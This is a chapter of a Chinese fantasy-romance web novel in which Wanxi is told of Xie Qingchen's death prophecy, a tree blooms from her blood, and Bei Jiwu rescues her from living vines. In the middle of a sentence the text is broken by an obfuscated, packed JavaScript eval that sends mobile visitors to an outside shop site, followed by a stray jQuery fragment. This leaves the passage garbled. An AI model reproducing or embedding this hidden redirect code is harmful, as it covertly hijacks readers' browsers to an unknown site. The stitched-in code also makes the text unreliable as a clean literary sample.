菀夕轻咬唇,双目间竟蒙上一层水雾:“既有此谶言,你为何要下山?”
谢轻尘若是终身不下山,她自然无缘与之偶遇,最多是在某个因缘际会之日。霞气雾蒸,她误入山野,或与那清静避世的小道士擦肩而过,兴许她会驻足回眸,他却隐入观中,再不得见。
如此想来,竟有一丝伤感。可也好过短暂相知,却对他的命运无能为力。
眼睁睁看着琉璃玉碎,明月西坠却无可施为,这种滋味她已经品尝过一次,再也不愿重蹈覆辙。
谢轻尘见她如此认真,为自己的短折谶言扼腕神伤。他突然意识到,自己的生命,在她眼中是十分贵重之物。
菀夕眼眸中那淡淡的忧虑,在他的心湖里投下一片树叶,荡悠悠地漾起无数涟漪。
他回想起一年多以前,自己正在静室打坐。师父忽地亲自来寻,他手中托着龟甲,神情罕见地激动,口中喃喃道:“异星入世,天命有变。”
张真人从星辰轨迹中观测到了异状,勘测出谢轻尘的命格有了转机。
但所谓“卦者不算己”,因谢轻尘与其关系密切,他无法观测出更清晰的因果,即使他愿意为之付出沉重的代价,新的命格却始终晦暗不明,时明时暗。
因此他不敢掉以轻心,在谢轻尘决心下山入世时,再三劝阻。所谓一入红尘,便难避因果。而风起于青萍之末,每一个细微的举动都会引发难以预料的后果。
但谢轻尘执意要下山,张真人无奈,便赠他几句偈语。
其中有一句,天命之人,在地,在山,在水。
谢轻尘眼神复杂地看向菀夕。他绕道大胤,本意是不想惊动父皇,却在三次邂逅中遇到了自己的天命之人。
这是否预示着,短折而死的命格已经化解?他无从得知。他只知道,自己尘缘未了,道心不稳。前路未明,他却难以自抑,已是破了贪戒。
且眼下,自己还要破了“妄语戒”。
“一年以前,吾师张真人观星测命,察觉天命已变。”谢轻尘垂眸,语带安慰,“故谶言已废,不必忧虑。”
他轻描淡写,如此言之凿凿,菀夕自然深信不疑,这才舒了一口气。
而在另一边,姜戎得了下属上报,匆匆赶至花厅。她停在水榭旁,突然愣住,怔怔地看着头顶的树莲。
那原本稀疏的树枝上,竟冒出几颗嫩芽。原本在风中脆弱不堪,一吹就簌簌掉落的花苞,此时竟是倏地次第开放,莹白如玉,暗送芬芳。
这棵树原本半死不活,竟有如神助恢复生机,还迎来了花期。
她满腹狐疑,上前一步,敏锐地看到树干上褐色未尽的痕迹。
是血。
她脑中轰然一震,想起了那个古老的预言。
莫非西夜期盼了千百年的天命之人,不是莫须有的传闻,在她这一代,终于可以亲眼得见么。
她深吸一口气,定了定心,肃然询问道:“花开之前三日内,都有谁来过这里?”
厢房中,林秀秀正向菀夕上报近几日她代为料理商队的相关事宜。
这几日,她在姜府装病闭门不出,便将商队事宜都交给林秀秀。这小姑娘聪明又机灵,稍加提点,事情便打理得头头是道。
菀夕深感欣慰。假以时日,她再历练一番,就可以独当一面。也算不负林管事的托付。
“元主事,城主有请。”
门外传来了青衣女官的声音。
菀夕闻言微感诧异,上一次见姜戎,还是她前来关心自己的身体。那时也不过是客套几句,今日又是为了何事请见?
不会是嫌她在这儿待的太久,要赶客吧?
抱着这样的想法,她有些惴惴地进入来青轩。
姜戎一如既往得直爽,开门见山道:“元主事,身子可好了些?听闻前两日,你血气翻涌,弄污了我那棵树莲。”
菀夕面露尴尬之色,当时好像是站在那棵树附近,没有注意到是否弄脏了树莲。姜戎不会就为了这件事,来兴师问罪吧?
“是。我不是故意的……”
姜戎闻言,定定地看着她,眼神中有审视、好奇,还有一种菀夕看不懂的情绪。好在没有愤怒,菀夕便暗暗松了口气。
她忽地轻笑一声,道:“今日寻你,另有一桩要事。你来西夜已有些时日,璧门关民众对商队的货物都颇感兴趣,但合作通商兹事体大,我实在无权决定。我便回了明皇殿下,她有意面见于你,你可愿意?”
菀夕眼前一亮,她自然是愿意的。明皇肯亲自接见,这事便有七成胜算。也算不负商队一行人跋涉之苦。
得了这个喜讯,商队众人都大受鼓舞。喜上加喜的是,大胤使者一行人也已离开璧门关。菀夕不必再顾忌北稷武,遂摩拳擦掌,整理行装,准备出发西夜王城——启明城。
临行时,姜戎意味深长地交待了一句:“西夜境内奇花异草甚多,地形诡谲,偶有怪力乱神之事,万事小心。”
菀夕初时,还没有意识到这句话的含金量。直到商队一行人在经过一丛树林时,树上的藤蔓竟像是有生命般,居然蛇行如鬼魅。
稍有不慎,她便被那藤蔓缠住,越收越紧。
众人急欲施救,却反被其他藤蔓所困。这神秘的树林,竟似藏了吃人的怪物,要将他们都吞吃入腹。菀夕几乎窒息之时,一柄长剑飞至眼前,剑锋犀利,可切金断玉,整齐地斩断了她耳边几根秀发。
预想之中的松快并未发生,即使藤蔓被长剑切断,却又瞬间愈合,仍是紧紧地缠着菀夕娇嫩的脖颈,已勒出一条红痕。
几乎窒息之际,长剑再次挥向藤蔓,激荡的剑气在她耳垂上留下米粒大小的伤口,血如红豆,在温软玉色耳垂衬托下显得凄艳美绝。
那一点点血迹沾染在藤蔓上,后者悚然收起,眨眼间藏匿回一旁的大树上,恢复了人畜无害的模样。
众人也都得以脱身,纷纷摔倒在地。
菀夕感到胸口猛然松快,得以喘息。她微微张开眼,从半空跌落,却没有摔在地上,而是落入一个宽厚的怀抱。
她定了定神,待
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815527|211043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看清接住自己的那个人,瞳孔骤然紧缩,下意识地想要逃离。
该死,真是冤家路窄。
不是说他们离开璧门关了吗?
北稷武察觉怀中之人的挣扎,故意收紧了臂弯,将她禁锢的更紧,意有所指道:“你还真是福大命大啊,元主事。”
菀夕知道他说的是自己中毒一事,她并不打算让他知道自己百毒不侵的体质。
否则依他的性子,极有可能将她丢给身边那位晏骨姑娘,从此沦为试毒的小白鼠。
“幸亏有贵人相助送来解药,老天还不舍得让我死。”菀夕瞥了北稷武一眼,毫不掩饰眼神中的讥讽,“有些人还活的好好的,我自然不能走在他前面。”
“牙尖嘴利。”北稷武轻呵一声,打量了一下四周,嘲讽道:“这次怎么没见你那位新靠山,怎么,他不要你了?”
菀夕一愣,随即意识到他说的是谁。若是之前,她会为了自保由他误会,可如今得知了谶言之事,她不愿给谢轻尘惹来祸端。
尽管谢轻尘自称谶言已废,可他惯会将真实情绪藏在温柔面皮下,说出那句话时,语气分明不算十分轻松。
“我和他只是同行一程的朋友,并无旁的干系。”菀夕瞪着眼睛,虚张声势道:“放开我,我可是明皇点名要见的贵客,你不能胡来。”
她张牙舞爪狐假虎威的模样,勾得北稷武微微一怔。
曾几何时,在侯府里被他欺负时,她也是如此拿出兄长当挡箭牌。
“放开我,我可是修玟公子的朋友,你不能胡来。”
那时少女面容明媚,看到他却并不害怕,像只小兽似的,蓬勃的活泼的,全然没有蛰伏之意。
他那时却只当她是故意伪装,反其道而行之,以不同于常规细作的姿态对兄长实施攻心计、美人计。
“哼。”北稷武松开手,不自在地瞥了她一眼。
这小女子不过清丽之色,中人之姿,哪里担得起美人计?
“你当那贵人是谁?”
他充满不忿地看向她,恨她愚钝。
绕是嘴上说着任由她自生自灭,听闻她重病在床,心中千回百转,终究还是不忍。这超出计划的小玩意儿,就像是棋局中的一颗异子或是变数,屡屡打破他的认知,并且能够轻易调动起他的情绪。
既然她并非细作,对兄长便是一片真心。他告诉自己,自己不是心软,不过是看在兄长面子上,留她一命罢了。
于是他派人暗中在茶饮中放了解药。可恼她竟然没有猜出那是自己的手笔。
除了下毒之人,还有谁会有解药?
“你……”
菀夕十分震惊地看着北稷武,意识到那人就是他。这倒也合乎逻辑,却十分不合情理。北稷武的世界里不会有“心软”“善良”,他只有杀人害人的份儿,怎么会主动救人呢?
感动吗?并没有。如果没有他下毒,又何需解药。
倘若她没有百毒不侵的体质,只怕早就一命呜呼,和宁远帝一起死在那个料峭春夜。